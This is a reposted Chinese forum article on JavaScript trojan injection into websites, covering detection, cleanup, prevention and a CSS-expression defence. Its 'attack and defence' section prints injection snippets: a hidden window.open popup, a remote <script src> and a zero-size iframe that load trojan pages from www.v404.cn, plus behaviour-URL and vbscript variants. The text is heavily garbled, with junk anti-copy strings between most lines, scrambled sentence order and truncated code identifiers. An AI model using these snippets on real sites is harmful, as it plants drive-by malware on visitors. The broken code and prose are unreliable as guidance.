搜索
查看: 11835|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

/ [/ f1 v0 g" j1 Y* s* P4 T

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

8 K) s3 I E- k, \1 S& d: j

IFRAME 和 JS 脚本挂马。

- U' V. R3 ~1 e S. c* \

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

6 j' [; R+ W! ^' l! a# ?5 o$ n

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

. L$ y* ?0 f- W Q4 g4 \

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

/ J. S) f+ y$ o

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

2 s+ [: h0 s# X

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

/ X( p% }2 h" ]# ~0 C2 E3 U; C

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

7 `& d6 G7 E8 A, L0 R" M! V

。一千多位会员的 ID

/ W+ I6 y. h6 y0 B, V! I

2: 如何检测网页是否被挂马。

: t1 x3 x; \& M' G ?- s& i. ]

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

d( U4 n- F6 a- C

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

7 d& `/ K: O* S5 m0 @

因素。
2 googl 检测。>

& `% I6 c. ^* r1 d" R- R3 ~) c: W

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

9 n& z2 }! ` p

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

( g2 \' U: I) p! h q1 T; c

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

- ?% x2 c$ _+ C

: ?3 ]+ |9 e/ V4 S$ X9 v/ W

3: 如何清除网页木马。

- W8 I( z3 O& R( M

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

/ @: U# E( l$ y8 l

入源文件把相关的网页挂马种类的可疑代码删除。

; w$ ]5 c! l3 A4 ?

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

" L8 u3 Y3 O1 i; O4 e

悉。>

' |/ C; _8 r3 w, E- F" u5 K

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

" c6 C9 |2 s' A! o( g. T

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

7 G) C8 x L; b3 B

2 保证你所使用的顺序及时的更新。

/ _8 ` f: ?- X# Z6 {6 P

3 不要在前台网页上加注后台管理程序登陆页面的链接。

/ N* E' T, C* @8 Q6 T5 P8 X

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

% m; Q) B, }! K9 P) l

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

/ O" ?: i7 }% M0 Q. k: q6 `2 O

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

: E+ i5 H! _1 {$ V, l: Q/ ~6 k

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

8 I/ c1 c/ {% Y* Q, ?# N% [: I" \' x

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

5 m2 H5 A/ I: X, Z+ X& E

% F. g! m g3 C5 `! s: @- X

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

; c7 G1 A/ S' \, t( V

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

" c( a6 |0 D+ \5 V J* B

JS 挂马溯源

: ^2 I0 t) ^: m- ~/ r b3 f, z; \

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

" t1 l2 z+ c2 R+ ]; c! G

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

9 T9 }" D+ M4 O) u: C( R

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

. K, c+ x$ z' _2 p; C( @) N

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

' n( j0 B, N, _; w- W

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

' }& V k8 t) v/ Z! q

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

6 |6 s/ C: C5 m9 R2 \4 W

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

0 }- [' `2 J1 ?/ c

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

6 ?5 l3 C' a/ V* |, ^

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

) i7 {$ h, B$ Z9 s: @

脚本在工作中会有很大的协助。

; ]1 M) i8 Z9 ?& p

挂马原理一点通

. Y8 Z8 V+ S/ u0 ?+ B$ a

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

1 Q/ y* O0 @4 d4 f x( Q5 o

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

; W+ Y/ B/ U' E" }# N

无从区分木马在何处。

. F; @* j4 Y. h

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

{+ J3 n7 _- ]: O6 B

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

" |9 W3 C M* }3 b \1 c& c- F. R

容易蒙混过关,导致木马久杀不绝。

$ K8 z! i3 F- e" W& p6 P+ S; n

JS 挂马攻防实录

8 F, p1 i Q" Y' U

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

+ y. ] W/ b2 n. _9 ]/ \

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

$ U) F5 t& G* L2 H" E

这种方法使用的关键代码如下:

2 H! \' g9 u' y: Z# u e- c

"",  window.open "http://www.v404.cn/ 木马

. x$ Z! L2 S* e( A+ n# F% q' k/ u4 [

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

' Z {2 g5 z$ H% ]

$ u4 T5 k& G4 U; G; J% }8 L- p- v

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

' W5 s. E l( s7 k

但是设置为 0 后,可能会出现恶意代码不运行的情况。

9 v; K: _: y$ F' h! q2 {

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

% l7 z* |+ C- H$ }4 l

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

' ^! u/ d$ S# R' E

# W, m9 s. Y- v; Q

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

. n: y& d; Z a

! D) m# Z5 `( D" _8 A

或者

& V$ s& d6 ^% w) y' r0 t* j7 f- B

document.writ "<div style='display:none'>"

6 _! S" Y( S- n+ k/ \6 t

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

( O. |5 l* R: z6 v6 H: ?

document.writ "</div>"
 

* k4 W# y3 I; e

! k7 z& i6 E$ U4 X

就成功地将木马挂到对方的网页中了

) E. C5 S0 }3 n- {1 J. G

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

$ z$ k) k# o0 Q. d5 O

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

5 x$ o x2 o$ V+ D3 O

或者:

! k4 |9 c2 V7 h

<ifram src="vbscript:[ 挂马脚本 ]">

+ t1 W- D( w+ y- i

; L) G1 @7 Y3 @8 ]- }


等等 …

: g5 p1 x! N" A( H2 p& O+ y

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

3 i' w; s. N* A% S2 g9 p

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

4 Z7 p5 g: `; P: ]: Q% e% \

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

$ S1 z% t" d- g7 h/ h, w0 o

;}

7 K. I( x( O6 @& S

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

3 C1 B- _' h( J+ Z8 x

+ q7 O) }8 u ~* e. c

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

( w ~$ l) k3 U

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

* Y0 X, Y, H. L0 `

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

% f2 d& n' O% n( Z

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

! p2 N" B8 \. k/ m, |

<title> 让 JS 挂马中止的 CSS 代码 </title>

* e7 b8 O; q) ]6 V' ]7 s: Y) v

<styl type="text/css" id="shudoo">

% }/ ~& I" w3 m! E

/*<![CDATA[*/

/ O2 w. f6 k R$ m6 g

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

9 a+ C% j7 d2 h. n% q9 U2 t) ^# M

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

9 p a8 T* J# _+ U

/*]]>*/

" M5 d9 E5 x2 A: l( m3 w/ I, e

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表